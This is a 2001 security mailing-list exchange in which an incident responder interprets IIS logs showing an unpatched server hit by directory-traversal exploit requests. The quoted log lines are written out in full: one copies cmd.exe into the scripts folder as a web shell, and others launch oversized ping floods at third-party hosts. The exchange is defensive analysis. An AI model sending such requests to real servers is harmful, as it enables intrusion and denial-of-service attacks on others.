Re: Unicode Logs with Ping Activity

[Jordan K Wiens <jwiens () nersp nerdc ufl edu>]

No, a 502 error is a bad gateway error; what happens is that your iis
server is unpatched against the unicde exploits (one of them, at least) and
is executing the command to ping a host.  Just recently there seems to be
an increase in the number of hackers using vulnerable web servers for ddos
like behavior using over-sized pings.

When the ping command executes, it runs the pings, however, it (obviously)
does not return complete html headers as its output (since ping was never
meant to run via the web, its not supposed to run like a normal web
executable). IIS notices this, and realizes that the script hasn't
correctly executed, and lets you know with the 502 error.  If you actually
look at the page, the results would read something like: "502 error; the
application has not returned correct headers.  The headers it did return
are:" and then IIS would procede to show the output of whatever had been
shown.

The error you want to see once a machine has been fully patched is usually
a 404 error.

-- 
Jordan Wiens
UF Network Incident Response Team
(352)392-2061

On Tue, 10 Jul 2001 myrddin_e () hushmail com wrote:

> Would like someone to help me understand what is going on here... The 502 
> error at the end end of these entries would indcicate failures, wouldn't 
> they? I've been all through the logs on this box, and even thought at every 
> attempt to copy c:\winnt\system32\cmd.exe to c:\inetpub\scripts\shell.exe 
> shows a 502, it is there.
>
> I'm looking at the times on the log entries and guessing that this was a 
> manual attack.
>
> Also, can someone please explain what is being attempted with these pings?
> aaa.aaa.aaa.aaa
> bbb.bbb.bbb.bbb
> ccc.ccc.ccc.ccc.ccc
> ddd.ddd.ddd.ddd.ddd 
> are all unique addresses.
>
> #Software: Microsoft Internet Information Services 5.0
> #Version: 1.0
> #Date: 2001-06-19 18:44:15
> #Fields: date time c-ip cs-username s-ip s-port cs-method cs-uri-stem cs-
> uri-query sc-status cs(User-Agent) 
> 2001-06-19 18:44:15 aaa.aaa.aaa.aaa - bbb.bbb.bbb.bbb 80 GET /scripts/../../winnt/system32/cmd.exe 
> /c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\shell.exe 502 -
> 2001-06-19 19:24:28 aaa.aaa.aaa.aaa - bbb.bbb.bbb.bbb 80 GET /scripts/../../winnt/system32/cmd.exe 
> /c+ping+-v+ip-header-bad%20-n+300+-l+65500+-w+0+ccc.ccc.ccc.ccc 502 -
> 2001-06-19 19:31:42 aaa.aaa.aaa.aaa - bbb.bbb.bbb.bbb 80 GET /scripts/../../winnt/system32/cmd.exe 
> /c+ping+-v+host-precedence-violation%20-n+300+-l+65500+-w+0+ddd.ddd.ddd.ddd 
> 502 -
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